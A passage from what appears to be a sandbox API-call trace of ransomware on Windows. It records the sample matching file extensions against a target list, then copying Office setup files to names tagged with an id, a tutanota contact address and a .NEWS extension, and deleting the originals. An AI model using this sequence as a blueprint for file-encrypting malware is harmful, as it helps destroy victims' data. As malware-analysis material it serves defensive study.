Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.609] lstrlenW (lpString=".doc") returned 4 [0056.609] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.609] lstrlenW (lpString=".docx") returned 5 [0056.609] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0056.609] lstrlenW (lpString=".pdf") returned 4 [0056.609] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.609] lstrlenW (lpString=".xls") returned 4 [0056.609] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.609] lstrlenW (lpString=".xlsx") returned 5 [0056.609] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0056.609] lstrlenW (lpString=".ppt") returned 4 [0056.609] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.609] lstrlenW (lpString=".zip") returned 4 [0056.609] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.609] lstrlenW (lpString=".rar") returned 4 [0056.609] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.609] lstrlenW (lpString=".bz2") returned 4 [0056.610] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.610] lstrlenW (lpString=".7z") returned 3 [0056.610] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.610] lstrlenW (lpString=".dbf") returned 4 [0056.610] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.610] lstrlenW (lpString=".1cd") returned 4 [0056.610] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.610] lstrlenW (lpString=".jpg") returned 4 [0056.610] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.610] lstrlenW (lpString=".doc") returned 4 [0056.610] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.610] lstrlenW (lpString=".docx") returned 5 [0056.610] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0056.610] lstrlenW (lpString=".pdf") returned 4 [0056.610] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.610] lstrlenW (lpString=".xls") returned 4 [0056.611] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.611] lstrlenW (lpString=".xlsx") returned 5 [0056.611] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0056.611] lstrlenW (lpString=".ppt") returned 4 [0056.611] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.611] lstrlenW (lpString=".zip") returned 4 [0056.611] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.611] lstrlenW (lpString=".rar") returned 4 [0056.611] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.611] lstrlenW (lpString=".bz2") returned 4 [0056.611] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.611] lstrlenW (lpString=".7z") returned 3 [0056.611] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.611] lstrlenW (lpString=".dbf") returned 4 [0056.611] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.611] lstrlenW (lpString=".1cd") returned 4 [0056.611] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0056.611] lstrlenW (lpString=".jpg") returned 4 [0056.612] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.612] lstrcmpiW (lpString1=".CHM", lpString2=".NEWS") returned -1 [0056.612] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0056.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.671] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=37689) returned 1 [0058.671] CloseHandle (hObject=0x190) returned 1 [0058.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0058.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.674] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.674] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0058.675] GetLastError () returned 0x0 [0058.675] ReadFile (in: hFile=0x190, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x9339, lpOverlapped=0x0) returned 1 [0058.678] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0058.680] ReadFile (in: hFile=0x190, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.680] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.680] SetEndOfFile (hFile=0x1e4) returned 1 [0058.681] CloseHandle (hObject=0x1e4) returned 1 [0058.682] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.682] SetEndOfFile (hFile=0x190) returned 1 [0058.685] CloseHandle (hObject=0x190) returned 1 [0058.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0058.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.686] lstrlenW (lpString=".doc") returned 4 [0058.686] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.686] lstrlenW (lpString=".docx") returned 5 [0058.686] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0058.686] lstrlenW (lpString=".pdf") returned 4 [0058.686] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.686] lstrlenW (lpString=".xls") returned 4 [0058.687] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.687] lstrlenW (lpString=".xlsx") returned 5 [0058.687] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0058.687] lstrlenW (lpString=".ppt") returned 4 [0058.687] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.687] lstrlenW (lpString=".zip") returned 4 [0058.687] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.687] lstrlenW (lpString=".rar") returned 4 [0058.687] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.687] lstrlenW (lpString=".bz2") returned 4 [0058.687] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.687] lstrlenW (lpString=".7z") returned 3 [0058.687] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.687] lstrlenW (lpString=".dbf") returned 4 [0058.687] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.687] lstrlenW (lpString=".1cd") returned 4 [0058.688] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.688] lstrlenW (lpString=".jpg") returned 4 [0058.688] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.688] lstrlenW (lpString=".doc") returned 4 [0058.688] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.688] lstrlenW (lpString=".docx") returned 5 [0058.688] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0058.688] lstrlenW (lpString=".pdf") returned 4 [0058.688] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.688] lstrlenW (lpString=".xls") returned 4 [0058.688] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.688] lstrlenW (lpString=".xlsx") returned 5 [0058.688] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0058.688] lstrlenW (lpString=".ppt") returned 4 [0058.688] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.689] lstrlenW (lpString=".zip") returned 4 [0058.689] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.689] lstrlenW (lpString=".rar") returned 4 [0058.689] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.689] lstrlenW (lpString=".bz2") returned 4 [0058.689] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.689] lstrlenW (lpString=".7z") returned 3 [0058.689] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.689] lstrlenW (lpString=".dbf") returned 4 [0058.689] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.689] lstrlenW (lpString=".1cd") returned 4 [0058.689] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0058.689] lstrlenW (lpString=".jpg") returned 4 [0058.689] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.690] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.690] lstrlenW (lpString="SETUP.XML") returned 9 [0058.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.690] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=9352) returned 1 [0058.690] CloseHandle (hObject=0x190) returned 1 [0058.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0058.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.690] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.691] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0058.691] GetLastError () returned 0x0 [0058.691] ReadFile (in: hFile=0x190, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x2488, lpOverlapped=0x0) returned 1 [0058.694] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0058.695] ReadFile (in: hFile=0x190, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.696] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.696] SetEndOfFile (hFile=0x1e4) returned 1 [0058.696] CloseHandle (hObject=0x1e4) returned 1 [0058.697] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.697] SetEndOfFile (hFile=0x190) returned 1 [0058.699] CloseHandle (hObject=0x190) returned 1 [0058.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.699] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0058.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.699] lstrlenW (lpString=".doc") returned 4 [0058.699] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.699] lstrlenW (lpString=".docx") returned 5 [0058.700] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0058.700] lstrlenW (lpString=".pdf") returned 4 [0058.700] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.700] lstrlenW (lpString=".xls") returned 4 [0058.700] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.700] lstrlenW (lpString=".xlsx") returned 5 [0058.700] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0058.700] lstrlenW (lpString=".ppt") returned 4 [0058.700] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.700] lstrlenW (lpString=".zip") returned 4 [0058.700] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.700] lstrlenW (lpString=".rar") returned 4 [0058.700] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.700] lstrlenW (lpString=".bz2") returned 4 [0058.700] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.700] lstrlenW (lpString=".7z") returned 3 [0058.700] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.700] lstrlenW (lpString=".dbf") returned 4 [0058.700] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.701] lstrlenW (lpString=".1cd") returned 4 [0058.701] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.701] lstrlenW (lpString=".jpg") returned 4 [0058.701] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.701] lstrlenW (lpString=".doc") returned 4 [0058.701] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.701] lstrlenW (lpString=".docx") returned 5 [0058.701] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0058.701] lstrlenW (lpString=".pdf") returned 4 [0058.701] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.701] lstrlenW (lpString=".xls") returned 4 [0058.702] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.702] lstrlenW (lpString=".xlsx") returned 5 [0058.702] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0058.702] lstrlenW (lpString=".ppt") returned 4 [0058.702] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.702] lstrlenW (lpString=".zip") returned 4 [0058.702] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.702] lstrlenW (lpString=".rar") returned 4 [0058.702] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.702] lstrlenW (lpString=".bz2") returned 4 [0058.702] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.702] lstrlenW (lpString=".7z") returned 3 [0058.702] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.702] lstrlenW (lpString=".dbf") returned 4 [0058.702] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.702] lstrlenW (lpString=".1cd") returned 4 [0058.702] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0058.702] lstrlenW (lpString=".jpg") returned 4 [0058.702] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.703] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.703] lstrlenW (lpString="Office32MUI.XML") returned 15 [0058.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.704] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1383) returned 1 [0058.704] CloseHandle (hObject=0x190) returned 1 [0058.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0058.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.705] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.705] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0058.707] GetLastError () returned 0x0 [0058.707] ReadFile (in: hFile=0x190, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x567, lpOverlapped=0x0) returned 1 [0058.899] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x570, lpOverlapped=0x0) returned 1 [0058.901] ReadFile (in: hFile=0x190, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, 